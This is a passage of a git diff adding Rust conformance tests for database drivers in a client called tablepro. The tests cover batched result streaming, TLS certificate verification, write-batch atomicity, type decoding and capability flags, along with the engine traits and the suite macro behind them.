changes under a {STATEMENT_TIMEOUT:?} timeout gave {stopped:?}" + ) + })?; + + let slow = engine.schema_change_exceeding_sql(&unbounded, SCHEMA_CHANGE); + let started = Instant::now(); + let finished = apply(connection.as_ref(), &unbounded, WriteKind::SchemaChanges, vec![slow]).await; + let elapsed = started.elapsed(); + if let Err(error) = finished { + return Err(unexpected(CASE, format!("the schema change was stopped: {error:?}"))); + } + expect(CASE, elapsed >= SCHEMA_CHANGE, || { + format!("the schema change finished in {elapsed:?}, so it never ran long enough to test the bound") + })?; + connection.close().await?; + Ok(()) +} diff --git a/linux/crates/test-support/src/conformance/cases/streaming.rs b/linux/crates/test-support/src/conformance/cases/streaming.rs new file mode 100644 index 0000000000..fe4323c3cc --- /dev/null +++ b/linux/crates/test-support/src/conformance/cases/streaming.rs @@ -0,0 +1,225 @@ +use std::sync::{Arc, Mutex}; +use std::time::Duration; + +use async_trait::async_trait; +use tablepro_core::{DriverError, ReadStatement, ResultEvent, ResultSink, RowLimit, SinkFlow, Truncation, UserSql}; + +use crate::conformance::support::{CALL_DEADLINE, connect, expect, statement, within, writable}; +use crate::conformance::{ConformanceEngine, ConformanceFailure}; +use crate::lock; + +const CASE: &str = "stream_read_streams_every_row_in_bounded_batches"; + +/// Enough rows that a driver gathering the whole result before handing +/// any of it on shows up as one oversized batch. +const ROWS: u64 = 50_000; + +/// Far above the batch a driver sends and far below the whole read, so +/// the rows held between two sink calls stay bounded. +const MAX_BATCH_ROWS: usize = 4_096; + +/// A read long enough that running it to its end after the sink stopped +/// would deliver far more than the one batch the sink took. +const STOPPED_ROWS: u64 = 1_000_000; + +/// An export takes as long as it takes; this only keeps a stuck driver +/// from hanging the suite. +const STREAM_DEADLINE: Duration = Duration::from_secs(120); + +/// Case 15: an export streams every row of a 50,000-row read through the +/// sink in bounded batches, inside one started and finished result set, +/// and a sink that stops reading ends the read without being reported +/// as a whole one. The connection answers afterwards. +pub async fn stream_read_streams_every_row_in_bounded_batches() -> Result<(), ConformanceFailure> +{ + let engine = E::start().await?; + let connection = connect(CASE, &engine, writable()).await?; + + let whole = Tally::default(); + let read = ReadStatement::User(UserSql::new(engine.row_source_sql(ROWS))); + let summary = connection + .stream_read(&read, whole.sink(None), within(STREAM_DEADLINE)) + .await?; + let tally = whole.snapshot(); + let delivered: u64 = tally.batches.iter().map(|rows| *rows as u64).sum(); + expect(CASE, summary.rows == ROWS && delivered == ROWS, || { + format!( + "the read reported {} rows and delivered {delivered}, not {ROWS}", + summary.rows + ) + })?; + expect( + CASE, + tally.started == 1 && tally.finished == [Truncation::Complete] && !tally.out_of_set, + || format!("the events did not form one complete result set: {tally:?}"), + )?; + let largest = tally.batches.iter().copied().max().unwrap_or_default(); + expect(CASE, largest <= MAX_BATCH_ROWS, || { + format!("one batch held {largest} rows, past the {MAX_BATCH_ROWS}-row bound") + })?; + + let stopping = Tally::default(); + let read = ReadStatement::User(UserSql::new(engine.row_source_sql(STOPPED_ROWS))); + let stopped = connection + .stream_read(&read, stopping.sink(Some(1)), within(STREAM_DEADLINE)) + .await; + let tally = stopping.snapshot(); + expect(CASE, tally.after_stop == 0, || { + format!("the driver sent {} events after the sink stopped", tally.after_stop) + })?; + let reported_whole = matches!(&stopped, Ok(summary) if summary.rows >= STOPPED_ROWS); + let failed_otherwise = matches!(&stopped, Err(error) if *error != DriverError::Cancelled); + expect(CASE, !reported_whole && !failed_otherwise, || { + format!("a read the sink stopped ended {stopped:?}") + })?; + let after = connection + .query_bound(&statement("SELECT 1"), RowLimit::EDITOR_DEFAULT, within(CALL_DEADLINE)) + .await; + expect(CASE, after.is_ok(), || { + format!("SELECT 1 after the stopped read gave {after:?}") + })?; + + connection.close().await?; + Ok(()) +} + +/// What a sink saw, without keeping the rows themselves. +#[derive(Debug, Clone, Default)] +struct Seen { + started: usize, + batches: Vec, + finished: Vec, + /// Rows or a finish that arrived outside a started result set. + out_of_set: bool, + open: bool, + stopped: bool, + after_stop: usize, +} + +#[derive(Debug, Clone, Default)] +struct Tally(Arc>); + +impl Tally { + /// A sink that stops reading once it has taken `stop_after` batches, + /// or never. + fn sink(&self, stop_after: Option) -> Box { + Box::new(TallySink { + seen: self.0.clone(), + stop_after, + }) + } + + fn snapshot(&self) -> Seen { + lock(&self.0).clone() + } +} + +struct TallySink { + seen: Arc>, + stop_after: Option, +} + +#[async_trait] +impl ResultSink for TallySink { + async fn accept(&mut self, event: ResultEvent) -> SinkFlow { + let mut seen = lock(&self.seen); + if seen.stopped { + seen.after_stop += 1; + return SinkFlow::ConsumerGone; + } + match event { + ResultEvent::ResultSetStarted { .. } => { + seen.started += 1; + seen.open = true; + } + ResultEvent::Rows(rows) => { + seen.out_of_set |= !seen.open; + seen.batches.push(rows.len()); + } + ResultEvent::ResultSetFinished { truncation, .. } => { + seen.out_of_set |= !seen.open; + seen.open = false; + seen.finished.push(truncation); + } + _ => {} + } + if self.stop_after.is_some_and(|limit| seen.batches.len() >= limit) { + seen.stopped = true; + return SinkFlow::ConsumerGone; + } + SinkFlow::Continue + } +} + +#[cfg(test)] +mod tests { + use std::sync::Arc; + + use tablepro_core::column::ResultColumn; + use tablepro_core::{QueryResult, Value}; + + use super::*; + use crate::conformance::fake_engine::{FakeEngine, FakeScenario}; + use crate::{ConnectionScript, FakeReply}; + + fn result_set(batches: &[usize]) -> Vec { + let columns: Arc<[ResultColumn]> = Arc::from(Vec::new()); + let mut events = vec![ResultEvent::ResultSetStarted { columns }]; + let mut total = 0_u64; + for rows in batches { + events.push(ResultEvent::Rows(vec![vec![Value::Int(1)]; *rows])); + total += *rows as u64; + } + events.push(ResultEvent::ResultSetFinished { + retained: total, + total_rows: Some(total), + truncation: Truncation::Complete, + }); + events + } + + fn script(whole_read: Vec) -> ConnectionScript { + let mut script = FakeEngine::::base_script(); + script + .stream_read + .when_sql_contains(format!("ROWS {ROWS}"), FakeReply::ok(whole_read)) + .when_sql_contains(format!("ROWS {STOPPED_ROWS}"), FakeReply::ok(result_set(&[256; 8]))); + script.query_bound.always(FakeReply::ok(QueryResult::empty())); + script + } + + struct Batched; + + impl FakeScenario for Batched { + fn script() -> ConnectionScript { + let mut batches = vec![256; (ROWS / 256) as usize]; + batches.push((ROWS % 256) as usize); + script(result_set(&batches)) + } + } + + struct OneBlock; + + impl FakeScenario for OneBlock { + fn script() -> ConnectionScript { + script(result_set(&[ROWS as usize])) + } + } + + #[tokio::test] + async fn stream_case_passes_when_rows_arrive_in_batches() { + stream_read_streams_every_row_in_bounded_batches::>() + .await + .unwrap(); + } + + #[tokio::test] + async fn stream_case_fails_when_rows_arrive_in_one_block() { + let outcome = stream_read_streams_every_row_in_bounded_batches::>().await; + + assert!( + matches!(&outcome, Err(ConformanceFailure::Expectation { case: CASE, detail }) if detail.contains("one batch held")), + "{outcome:?}" + ); + } +} diff --git a/linux/crates/test-support/src/conformance/cases/suite_flags.rs b/linux/crates/test-support/src/conformance/cases/suite_flags.rs new file mode 100644 index 0000000000..4d52b7de17 --- /dev/null +++ b/linux/crates/test-support/src/conformance/cases/suite_flags.rs @@ -0,0 +1,77 @@ +use tablepro_core::{EndpointKind, WriteAtomicity}; + +use crate::conformance::support::expect; +use crate::conformance::{ConformanceEngine, ConformanceFailure, ConnectionSuiteFlags, SuiteEndpoint}; + +const CASE: &str = "suite_flags_match_driver_capabilities"; + +/// The suite's flags agree with the driver's capability table, so a +/// suite cannot skip a case by declaring less than the driver claims. +pub fn suite_flags_match_driver_capabilities( + flags: ConnectionSuiteFlags, +) -> Result<(), ConformanceFailure> { + let capabilities = E::driver().capabilities(); + let endpoint = match capabilities.endpoint { + EndpointKind::Network { .. } => SuiteEndpoint::Network, + EndpointKind::File => SuiteEndpoint::File, + }; + expect(CASE, flags.endpoint == endpoint, || { + format!( + "the suite says endpoint {:?}, the driver says {:?}", + flags.endpoint, capabilities.endpoint + ) + })?; + let transactional = capabilities.dml_writes == WriteAtomicity::Transactional; + expect(CASE, flags.editor_transactions == transactional, || { + format!( + "the suite says editor_transactions {}, the driver's row writes are {:?}", + flags.editor_transactions, capabilities.dml_writes + ) + }) +} + +#[cfg(test)] +mod tests { + use tablepro_core::DriverCapabilities; + + use super::*; + use crate::conformance::fake_engine::{FakeEngine, FakeScenario}; + use crate::{ConnectionScript, FakeDriver}; + + struct FileDriver; + + impl FakeScenario for FileDriver { + fn capabilities() -> &'static DriverCapabilities { + &FakeDriver::FILE_CAPABILITIES + } + + fn script() -> ConnectionScript { + FakeEngine::::base_script() + } + } + + #[test] + fn suite_flags_test_fails_on_mismatched_endpoint() { + let flags = ConnectionSuiteFlags { + endpoint: SuiteEndpoint::Network, + editor_transactions: true, + }; + + let outcome = suite_flags_match_driver_capabilities::>(flags); + + assert!( + matches!(&outcome, Err(ConformanceFailure::Expectation { case: CASE, detail }) if detail.contains("endpoint")), + "{outcome:?}" + ); + } + + #[test] + fn suite_flags_test_passes_when_the_flags_match() { + let flags = ConnectionSuiteFlags { + endpoint: SuiteEndpoint::File, + editor_transactions: true, + }; + + suite_flags_match_driver_capabilities::>(flags).unwrap(); + } +} diff --git a/linux/crates/test-support/src/conformance/cases/tls.rs b/linux/crates/test-support/src/conformance/cases/tls.rs new file mode 100644 index 0000000000..11a07905f8 --- /dev/null +++ b/linux/crates/test-support/src/conformance/cases/tls.rs @@ -0,0 +1,160 @@ +//! The TLS suite: what a driver does against a server that accepts only +//! TLS, with trust and names right and wrong. + +use std::path::Path; +use std::sync::Arc; + +use tablepro_core::{ + ConnectOptions, Connection, DriverError, ErrorCategory, ServerNameOverride, TlsConfig, TlsFailure, TlsMode, +}; + +use crate::conformance::support::{dial, expect, unexpected, within}; +use crate::conformance::{ClientIdentityEngine, ConformanceFailure, TlsConformanceEngine, test_liveness}; + +const ISSUING_CASE: &str = "verify_full_with_issuing_ca_connects"; +const UNRELATED_CASE: &str = "verify_full_with_unrelated_ca_reports_unknown_issuer"; +const NAME_CASE: &str = "verify_full_with_wrong_server_name_reports_name_mismatch"; +const REQUIRE_CASE: &str = "require_connects_without_ca"; +const DISABLE_CASE: &str = "disable_against_tls_only_server_is_refused"; +const IDENTITY_CASE: &str = "client_identity_is_required_by_the_server"; +const FLAGS_CASE: &str = "tls_suite_flags_match_driver_capabilities"; + +/// Full verification against `ca`. The served name goes in as the server +/// name only where the driver accepts one on a direct route; elsewhere +/// the engine already targets a name on the certificate. +fn verified(engine: &E, ca: &Path) -> TlsConfig { + let overridable = E::driver() + .capabilities() + .tls + .is_some_and(|tls| tls.server_name_override == ServerNameOverride::AnyRoute); + TlsConfig { + mode: TlsMode::VerifyFull, + ca_file: Some(ca.to_owned()), + client_identity: None, + server_name: overridable.then(|| engine.served_name().to_owned()), + } +} + +async fn open( + case: &'static str, + options: ConnectOptions, +) -> Result, DriverError>, ConformanceFailure> { + dial(case, E::driver(), options).await +} + +/// Connect, prove the session answers, and close it. +async fn connects( + case: &'static str, + options: ConnectOptions, +) -> Result<(), ConformanceFailure> { + let connection = open::(case, options).await?; + let connection = connection.map_err(|error| unexpected(case, format!("the connect failed: {error:?}")))?; + connection.probe(within(test_liveness().probe_timeout)).await?; + connection.close().await?; + Ok(()) +} + +fn tls_failure(outcome: &Result, DriverError>) -> Option { + match outcome { + Err(DriverError::Tls { failure, .. }) => Some(*failure), + _ => None, + } +} + +fn describe(outcome: &Result, DriverError>) -> String { + match outcome { + Ok(_) => "a connection".to_owned(), + Err(error) => format!("{error:?}"), + } +} + +/// TLS case 1. +pub async fn verify_full_with_issuing_ca_connects() -> Result<(), ConformanceFailure> { + let engine = E::start().await?; + let tls = verified(&engine, engine.ca_file()); + connects::(ISSUING_CASE, engine.connect_options(tls)).await +} + +/// TLS case 2. +pub async fn verify_full_with_unrelated_ca_reports_unknown_issuer() +-> Result<(), ConformanceFailure> { + let engine = E::start().await?; + let tls = verified(&engine, engine.unrelated_ca_file()); + let outcome = open::(UNRELATED_CASE, engine.connect_options(tls)).await?; + expect( + UNRELATED_CASE, + tls_failure(&outcome) == Some(TlsFailure::UnknownIssuer), + || format!("trusting an unrelated CA gave {}", describe(&outcome)), + ) +} + +/// TLS case 3. +pub async fn verify_full_with_wrong_server_name_reports_name_mismatch() +-> Result<(), ConformanceFailure> { + let engine = E::start().await?; + let tls = verified(&engine, engine.ca_file()); + let outcome = open::(NAME_CASE, engine.name_mismatch_connect_options(tls)).await?; + expect( + NAME_CASE, + tls_failure(&outcome) == Some(TlsFailure::NameMismatch), + || format!("a name the certificate does not carry gave {}", describe(&outcome)), + ) +} + +/// TLS case 4. +pub async fn require_connects_without_ca() -> Result<(), ConformanceFailure> { + let engine = E::start().await?; + let tls = TlsConfig { + mode: TlsMode::Require, + ca_file: None, + client_identity: None, + server_name: None, + }; + connects::(REQUIRE_CASE, engine.connect_options(tls)).await +} + +/// TLS case 5. +pub async fn disable_against_tls_only_server_is_refused() -> Result<(), ConformanceFailure> { + let engine = E::start().await?; + let expected = engine.plaintext_rejection_category(); + let outcome = open::(DISABLE_CASE, engine.connect_options(TlsConfig::disabled())).await?; + let refused = matches!(&outcome, Err(error) if error.category() == expected); + expect(DISABLE_CASE, refused, || { + format!("a plaintext connect gave {}, not {expected:?}", describe(&outcome)) + }) +} + +/// TLS case 6: the certificate principal gets in with its certificate +/// and is refused without it. +pub async fn client_identity_is_required_by_the_server() -> Result<(), ConformanceFailure> { + let engine = E::start().await?; + let with_identity = TlsConfig { + client_identity: Some(engine.client_identity()), + ..verified(&engine, engine.ca_file()) + }; + connects::(IDENTITY_CASE, engine.certificate_connect_options(with_identity)).await?; + + let without = verified(&engine, engine.ca_file()); + let outcome = open::(IDENTITY_CASE, engine.certificate_connect_options(without)).await?; + let refused = matches!( + &outcome, + Err(error) if matches!(error.category(), ErrorCategory::Authentication | ErrorCategory::Tls) + ); + expect(IDENTITY_CASE, refused, || { + format!( + "the certificate principal without its certificate gave {}", + describe(&outcome) + ) + }) +} + +/// The suite's `client_identity` flag agrees with the driver's TLS +/// capabilities, and the driver has TLS at all. +pub fn tls_suite_flags_match_driver_capabilities( + client_identity: bool, +) -> Result<(), ConformanceFailure> { + let declared = E::driver().capabilities().tls.map(|tls| tls.client_identity); + expect(FLAGS_CASE, declared == Some(client_identity), || { + format!("the suite says client_identity {client_identity}, the driver's TLS capabilities say {declared:?}") + }) +} diff --git a/linux/crates/test-support/src/conformance/cases/type_fallback.rs b/linux/crates/test-support/src/conformance/cases/type_fallback.rs new file mode 100644 index 0000000000..44a3916362 --- /dev/null +++ b/linux/crates/test-support/src/conformance/cases/type_fallback.rs @@ -0,0 +1,50 @@ +use tablepro_core::{RowLimit, WriteKind}; + +use crate::conformance::support::{ + CALL_DEADLINE, apply, connect, create_scratch_table, expect, statement, within, writable, +}; +use crate::conformance::{ConformanceFailure, TypedConformanceEngine}; + +const CASE: &str = "unsupported_types_never_decode_as_null"; + +/// Case 13: a value of a type the driver has no decoder for still reads +/// back as something, never as a NULL that would hide it. +pub async fn unsupported_types_never_decode_as_null() -> Result<(), ConformanceFailure> { + let engine = E::start().await?; + let cases = engine.unsupported_type_cases(); + expect(CASE, !cases.is_empty(), || { + "the engine declares unsupported types but lists none".to_owned() + })?; + let connection = connect(CASE, &engine, writable()).await?; + let dialect = connection.dialect(); + + for (index, case) in cases.iter().enumerate() { + let table = create_scratch_table(&engine, connection.as_ref(), &format!("types_{index}")).await?; + let table_sql = dialect.qualify(&table); + let value = dialect.quote_identifier("v"); + let mut schema = case.setup_sql.clone(); + schema.push(format!("ALTER TABLE {table_sql} ADD {}", case.declaration)); + apply(connection.as_ref(), &table, WriteKind::SchemaChanges, schema).await?; + let insert = format!( + "INSERT INTO {table_sql} ({}, {}, {value}) VALUES (1, 'typed', {})", + dialect.quote_identifier("id"), + dialect.quote_identifier("label"), + case.insert_value_sql, + ); + apply(connection.as_ref(), &table, WriteKind::RowChanges, vec![insert]).await?; + + let select = statement(&format!("SELECT {value} FROM {table_sql}")); + let result = connection + .query_bound(&select, RowLimit::EDITOR_DEFAULT, within(CALL_DEADLINE)) + .await?; + let read = result.cell(0, 0); + expect(CASE, read.is_some_and(|read| !read.is_null()), || { + format!( + "`{}` holding {} read back as {read:?}", + case.declaration, case.insert_value_sql + ) + })?; + } + connection.close().await?; + Ok(()) +} diff --git a/linux/crates/test-support/src/conformance/cases/writes.rs b/linux/crates/test-support/src/conformance/cases/writes.rs new file mode 100644 index 0000000000..85b4ca39b0 --- /dev/null +++ b/linux/crates/test-support/src/conformance/cases/writes.rs @@ -0,0 +1,139 @@ +use tablepro_core::{DriverError, WriteAtomicity, WriteKind}; + +use crate::conformance::support::{ + apply, connect, count, create_scratch_table, expect, insert_sql, unexpected, writable, +}; +use crate::conformance::{ConformanceEngine, ConformanceFailure}; + +const COMMITS_CASE: &str = "write_batch_commits_every_step"; +const FAILED_CASE: &str = "failed_write_batch_outcome_matches_dml_atomicity"; + +/// Case 8: a save of three inserts reports each one and lands all three. +pub async fn write_batch_commits_every_step() -> Result<(), ConformanceFailure> { + let engine = E::start().await?; + let connection = connect(COMMITS_CASE, &engine, writable()).await?; + let table = create_scratch_table(&engine, connection.as_ref(), "writes").await?; + let dialect = connection.dialect(); + let inserts = (1..=3) + .map(|id| insert_sql(dialect.as_ref(), &table, id, "row")) + .collect(); + + let report = apply(connection.as_ref(), &table, WriteKind::RowChanges, inserts).await?; + let rows = count(connection.as_ref(), &table).await?; + + expect(COMMITS_CASE, report.rows_affected.len() == 3, || { + format!("the report covers {:?}, not three statements", report.rows_affected) + })?; + expect(COMMITS_CASE, rows == 3, || format!("{rows} rows landed, not 3"))?; + connection.close().await?; + Ok(()) +} + +/// Case 9: a save whose second statement fails leaves what the engine's +/// atomicity promises: nothing on a transactional engine, the first row +/// on one that applies statement by statement. +pub async fn failed_write_batch_outcome_matches_dml_atomicity() -> Result<(), ConformanceFailure> +{ + let engine = E::start().await?; + let atomicity = E::driver().capabilities().dml_writes; + let connection = connect(FAILED_CASE, &engine, writable()).await?; + let table = create_scratch_table(&engine, connection.as_ref(), "failed_write").await?; + let dialect = connection.dialect(); + let missing_column = format!( + "INSERT INTO {} ({}, {}, {}) VALUES (2, 'second', 0)", + dialect.qualify(&table), + dialect.quote_identifier("id"), + dialect.quote_identifier("label"), + dialect.quote_identifier("tp_missing_column"), + ); + let statements = vec![ + insert_sql(dialect.as_ref(), &table, 1, "first"), + missing_column, + insert_sql(dialect.as_ref(), &table, 3, "third"), + ]; + + let outcome = apply(connection.as_ref(), &table, WriteKind::RowChanges, statements).await; + let expected_rows = match (atomicity, &outcome) { + (WriteAtomicity::Transactional, Err(DriverError::RolledBack { statement_index: 1, .. })) => 0, + (WriteAtomicity::StatementByStatement, Err(DriverError::PartiallyApplied { applied: 1, .. })) => 1, + _ => { + return Err(unexpected( + FAILED_CASE, + format!("a {atomicity:?} engine answered a save failing at statement 1 with {outcome:?}"), + )); + } + }; + let rows = count(connection.as_ref(), &table).await?; + expect(FAILED_CASE, rows == expected_rows, || { + format!("{rows} rows remain after the failed save, not {expected_rows}") + })?; + connection.close().await?; + Ok(()) +} + +#[cfg(test)] +mod tests { + use tablepro_core::{StatementOutcome, WriteReport}; + + use super::*; + use crate::conformance::fake_engine::{FakeEngine, FakeScenario}; + use crate::{ConnectionScript, FakeReply}; + + /// A transactional engine that reports a partial save, which only an + /// engine without transactions may do. + struct PartialOnTransactional; + + impl FakeScenario for PartialOnTransactional { + fn script() -> ConnectionScript { + let mut script = FakeEngine::::base_script(); + script.write_batch.when_sql_contains( + "tp_missing_column", + FakeReply::err(DriverError::PartiallyApplied { + applied: 1, + statement_index: 1, + failed_outcome: StatementOutcome::Failed, + source: Box::new(DriverError::server("column tp_missing_column does not exist")), + }), + ); + script.count_rows.always(FakeReply::ok(1)); + script + } + } + + struct RollsBack; + + impl FakeScenario for RollsBack { + fn script() -> ConnectionScript { + let mut script = FakeEngine::::base_script(); + script.write_batch.when_sql_contains( + "tp_missing_column", + FakeReply::err(DriverError::RolledBack { + statement_index: 1, + source: Box::new(DriverError::server("column tp_missing_column does not exist")), + }), + ); + script.count_rows.always(FakeReply::ok(0)); + script + .write_batch + .always(FakeReply::ok(WriteReport::new(vec![Some(1); 3]))); + script + } + } + + #[tokio::test] + async fn case_reports_expectation_on_wrong_outcome() { + let outcome = failed_write_batch_outcome_matches_dml_atomicity::>().await; + + assert!( + matches!(&outcome, Err(ConformanceFailure::Expectation { case: FAILED_CASE, detail }) if detail.contains("Transactional")), + "{outcome:?}" + ); + } + + #[tokio::test] + async fn failed_write_case_passes_when_a_transactional_engine_rolls_back() { + failed_write_batch_outcome_matches_dml_atomicity::>() + .await + .unwrap(); + } +} diff --git a/linux/crates/test-support/src/conformance/client_identity_engine.rs b/linux/crates/test-support/src/conformance/client_identity_engine.rs new file mode 100644 index 0000000000..494723a3ae --- /dev/null +++ b/linux/crates/test-support/src/conformance/client_identity_engine.rs @@ -0,0 +1,12 @@ +use tablepro_core::{ClientIdentity, ConnectOptions, TlsConfig}; + +use crate::conformance::TlsConformanceEngine; + +/// A TLS engine whose server can require a client certificate. +pub trait ClientIdentityEngine: TlsConformanceEngine { + fn client_identity(&self) -> ClientIdentity; + + /// Options for the principal the certificate authenticates, which on + /// every engine is a different user from the password principal. + fn certificate_connect_options(&self, tls: TlsConfig) -> ConnectOptions; +} diff --git a/linux/crates/test-support/src/conformance/conformance_engine.rs b/linux/crates/test-support/src/conformance/conformance_engine.rs new file mode 100644 index 0000000000..aae00cd5d9 --- /dev/null +++ b/linux/crates/test-support/src/conformance/conformance_engine.rs @@ -0,0 +1,39 @@ +use std::sync::Arc; +use std::time::Duration; + +use async_trait::async_trait; +use tablepro_core::{ConnectOptions, DatabaseDriver, LivenessPolicy, TableRef, WorkspaceSettings}; + +use crate::conformance::ConformanceFailure; + +/// What a driver's integration target supplies so the connection suite +/// can run against its engine. +/// +/// Each case starts its own engine, so a case that leaves the server in +/// a bad state cannot fail the next one. +#[async_trait] +pub trait ConformanceEngine: Send + Sync + Sized + 'static { + fn driver() -> Arc; + + /// Start a server through tablepro-test-fixtures, or a file for an + /// engine without one, and keep it alive as long as `Self` is. + async fn start() -> Result; + + fn connect_options(&self, settings: WorkspaceSettings, liveness: LivenessPolicy) -> ConnectOptions; + + fn scratch_table(&self, name: &str) -> TableRef; + + /// A table with `id integer primary key` and `label text not null`, + /// in the engine's own spelling. + fn create_scratch_table_sql(&self, table: &TableRef) -> String; + + /// A read that never finishes on its own and carries `marker` in its + /// text, so the server's own session list can find it. + fn unbounded_statement_sql(&self, marker: &str) -> String; + + /// A read that finishes after at least `hold`. + async fn blocking_statement_sql(&self, marker: &str, hold: Duration) -> Result; + + /// A read of `rows` rows. + fn row_source_sql(&self, rows: u64) -> String; +} diff --git a/linux/crates/test-support/src/conformance/conformance_failure.rs b/linux/crates/test-support/src/conformance/conformance_failure.rs new file mode 100644 index 0000000000..12a76d30e9 --- /dev/null +++ b/linux/crates/test-support/src/conformance/conformance_failure.rs @@ -0,0 +1,43 @@ +use std::fmt; + +use tablepro_core::DriverError; + +/// Why a conformance case did not pass. +/// +/// Cases return this rather than panicking, so a failure says which +/// rule of the contract the driver broke and what it did instead. +#[derive(Debug)] +pub enum ConformanceFailure { + /// The engine could not be started or prepared; nothing about the + /// driver was tested. + Setup(String), + /// A call the case relies on failed where the contract says it must + /// succeed. + Driver(DriverError), + /// The driver answered, and the answer breaks the contract. + Expectation { case: &'static str, detail: String }, +} + +impl ConformanceFailure { + pub fn setup(detail: impl fmt::Display) -> Self { + Self::Setup(detail.to_string()) + } +} + +impl fmt::Display for ConformanceFailure { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Self::Setup(detail) => write!(f, "setup failed: {detail}"), + Self::Driver(error) => write!(f, "driver call failed: {error}"), + Self::Expectation { case, detail } => write!(f, "{case}: {detail}"), + } + } +} + +impl std::error::Error for ConformanceFailure {} + +impl From for ConformanceFailure { + fn from(error: DriverError) -> Self { + Self::Driver(error) + } +} diff --git a/linux/crates/test-support/src/conformance/connection_suite_flags.rs b/linux/crates/test-support/src/conformance/connection_suite_flags.rs new file mode 100644 index 0000000000..c80f777cf2 --- /dev/null +++ b/linux/crates/test-support/src/conformance/connection_suite_flags.rs @@ -0,0 +1,11 @@ +use crate::conformance::SuiteEndpoint; + +/// The suite flags the driver's capability table can contradict. +/// +/// The other flags have no capability behind them: whether a pool has a +/// size or a timeout bounds DDL is engine knowledge the adapter states. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct ConnectionSuiteFlags { + pub endpoint: SuiteEndpoint, + pub editor_transactions: bool, +} diff --git a/linux/crates/test-support/src/conformance/connection_suite_macro.rs b/linux/crates/test-support/src/conformance/connection_suite_macro.rs new file mode 100644 index 0000000000..3961767422 --- /dev/null +++ b/linux/crates/test-support/src/conformance/connection_suite_macro.rs @@ -0,0 +1,328 @@ +/// Emit the connection conformance cases for one engine adapter. +/// +/// Every flag is matched by literal arms, so a misspelt flag does not +/// compile. A flag that is off emits no test at all rather than a test +/// that passes without checking anything, and a flag that is on requires +/// the matching engine trait: +/// +/// - `endpoint: network` adds the dropped-caller and lost-transport +/// cases and needs `NetworkConformanceEngine`; `file` adds neither. +/// - `pool: pooled` adds the busy-pool probe and needs +/// `PooledConformanceEngine`; `unbounded` is an engine with no slot +/// limit. +/// - `editor_transactions`, `unsupported_types` and `bounded_ddl` add +/// their case and need `EditorTransactionEngine`, +/// `TypedConformanceEngine` and `BoundedDdlEngine`. +/// - `docker: true` marks every case `#[ignore = "requires docker"]`. +/// +/// `suite_flags_match_driver_capabilities` is always emitted and never +/// ignored: it fails when `endpoint` or `editor_transactions` disagrees +/// with the driver's capabilities. +/// +/// The example compiles every case against the test-support fakes; a +/// driver's integration target supplies its own engine instead. +/// +/// ```no_run,test_harness +/// # use std::path::PathBuf; +/// # use std::sync::Arc; +/// # use std::time::Duration; +/// # use async_trait::async_trait; +/// # use tablepro_core::{ +/// # ConnectEnvironment, ConnectOptions, ConnectTarget, DatabaseDriver, FileEndpoint, LivenessPolicy, +/// # NetworkEndpoint, TableRef, WorkspaceSettings, +/// # }; +/// # use tablepro_test_support::conformance::{ +/// # BoundedDdlEngine, ConformanceEngine, ConformanceFailure, EditorTransactionEngine, +/// # NetworkConformanceEngine, PooledConformanceEngine, TypedConformanceEngine, UnsupportedTypeCase, +/// # }; +/// # use tablepro_test_support::{ConnectionScript, FakeDriver, FaultTransport}; +/// # struct ExampleEngine; +/// # #[async_trait] +/// # impl ConformanceEngine for ExampleEngine { +/// # fn driver() -> Arc { +/// # Arc::new(FakeDriver::connecting(&FakeDriver::NETWORK_CAPABILITIES, ConnectionScript::default())) +/// # } +/// # async fn start() -> Result { +/// # Ok(Self) +/// # } +/// # fn connect_options(&self, settings: WorkspaceSettings, liveness: LivenessPolicy) -> ConnectOptions { +/// # let file = FileEndpoint::open_existing(PathBuf::from("/example.db")).unwrap(); +/// # ConnectOptions { +/// # target: ConnectTarget::File(file), +/// # workspace_settings: settings, +/// # liveness, +/// # environment: ConnectEnvironment::new("example"), +/// # } +/// # } +/// # fn scratch_table(&self, name: &str) -> TableRef { +/// # TableRef::unqualified(name) +/// # } +/// # fn create_scratch_table_sql(&self, table: &TableRef) -> String { +/// # format!("CREATE TABLE {} (id integer primary key, label text not null)", table.name) +/// # } +/// # fn unbounded_statement_sql(&self, marker: &str) -> String { +/// # format!("SELECT pg_sleep(3600), '{marker}'") +/// # } +/// # async fn blocking_statement_sql(&self, marker: &str, hold: Duration) -> Result { +/// # Ok(format!("SELECT pg_sleep({}), '{marker}'", hold.as_secs())) +/// # } +/// # fn row_source_sql(&self, rows: u64) -> String { +/// # format!("SELECT generate_series(1, {rows})") +/// # } +/// # } +/// # #[async_trait] +/// # impl NetworkConformanceEngine for ExampleEngine { +/// # async fn faulty_connect_options( +/// # &self, +/// # settings: WorkspaceSettings, +/// # liveness: LivenessPolicy, +/// # ) -> Result<(ConnectOptions, Arc), ConformanceFailure> { +/// # let endpoint = NetworkEndpoint::new("127.0.0.1", 5432).map_err(ConformanceFailure::setup)?; +/// # let fault = FaultTransport::direct(endpoint, &liveness).map_err(ConformanceFailure::setup)?; +/// # Ok((self.connect_options(settings, liveness), Arc::new(fault))) +/// # } +/// # fn running_statement_count_sql(&self, marker: &str) -> String { +/// # format!("SELECT count(*) FROM pg_stat_activity WHERE query LIKE '%{marker}%'") +/// # } +/// # } +/// # impl PooledConformanceEngine for ExampleEngine { +/// # const WORKSPACE_POOL_MAX_SIZE: usize = 4; +/// # } +/// # impl EditorTransactionEngine for ExampleEngine { +/// # fn begin_sql(&self) -> String { +/// # "BEGIN".to_owned() +/// # } +/// # fn commit_sql(&self) -> String { +/// # "COMMIT".to_owned() +/// # } +/// # } +/// # impl TypedConformanceEngine for ExampleEngine { +/// # fn unsupported_type_cases(&self) -> Vec { +/// # Vec::new() +/// # } +/// # } +/// # impl BoundedDdlEngine for ExampleEngine { +/// # fn schema_change_exceeding_sql(&self, table: &TableRef, duration: Duration) -> String { +/// # format!("CREATE TABLE {} AS SELECT 1 AS id FROM pg_sleep({})", table.name, duration.as_secs()) +/// # } +/// # } +/// mod network_engine { +/// use super::ExampleEngine; +/// +/// tablepro_test_support::connection_conformance_suite! { +/// engine: ExampleEngine, +/// docker: true, +/// endpoint: network, +/// pool: pooled, +/// editor_transactions: true, +/// unsupported_types: true, +/// bounded_ddl: true, +/// } +/// } +/// +/// mod file_engine { +/// use super::ExampleEngine; +/// +/// tablepro_test_support::connection_conformance_suite! { +/// engine: ExampleEngine, +/// docker: false, +/// endpoint: file, +/// pool: unbounded, +/// editor_transactions: false, +/// unsupported_types: false, +/// bounded_ddl: false, +/// } +/// } +/// ``` 